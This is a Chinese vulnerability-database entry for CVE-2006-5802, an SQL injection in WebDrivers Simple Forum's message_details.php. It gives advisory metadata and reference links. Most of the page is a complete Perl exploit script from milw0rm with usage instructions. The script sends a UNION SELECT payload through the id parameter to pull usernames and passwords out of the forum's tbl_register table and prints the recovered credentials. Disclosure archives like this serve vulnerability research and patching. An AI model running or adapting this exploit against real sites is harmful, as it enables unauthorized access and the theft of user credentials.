Webdrivers Simple Forum Message_details.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111463 漏洞类型 SQL注入
发布时间 2006-11-05 更新时间 2006-11-14
CVE编号 CVE-2006-5802 CNNVD-ID CNNVD-200611-149
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2722
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-149
|漏洞详情
WebDriversSimpleForum的message_details.php中存在SQL注入漏洞,远程攻击者通过id参数执行任意SQL命令。
|漏洞EXP
#!perl
use IO::Socket;
#Download:http://www.thewebdrivers.com/forum.zip
#By:Bl0od3r
#Germany =]
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
   $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET ".$path."message_details.php?id=-1%20UNION%20SELECT%201,password,username,4,4%20FROM%20tbl_register WHERE id=".$id."/* HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/<span class="style3"> Re :  -(.*?)-/ && print "--------------------------------------------\n[+]UserName: $1\n[+]PassWord:";
$ans=~ m/<td class=\"text\">(.*?)<\/td>/ && print "$1\n";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
  } else {
print "[-]Error";
    }
  }
sub header() {
print
"--------------------------------------------------------------------\n";
print "|\t---------->By Bl0od3r<---------\t\t\t\t    |";
print "\n|Usage:script.pl host.com /path/ 1\t\t\t\t    |";
print
"\n--------------------------------------------------------------------\n";
exit;
}

# greetz to all dc3 members,matrix_killer and skOd =]

# milw0rm.com [2006-11-05]
|参考资料

来源:XF
名称:webdrivers-message-sql-injection(30020)
链接:http://xforce.iss.net/xforce/xfdb/30020
来源:BID
名称:20937
链接:http://www.securityfocus.com/bid/20937
来源:MILW0RM
名称:2722
链接:http://www.milw0rm.com/exploits/2722
来源:VUPEN
名称:ADV-2006-4351
链接:http://www.frsirt.com/english/advisories/2006/4351
来源:SECUNIA
名称:22706
链接:http://secunia.com/advisories/22706
来源:MILW0RM
名称:2722
链接:http://milw0rm.com/exploits/2722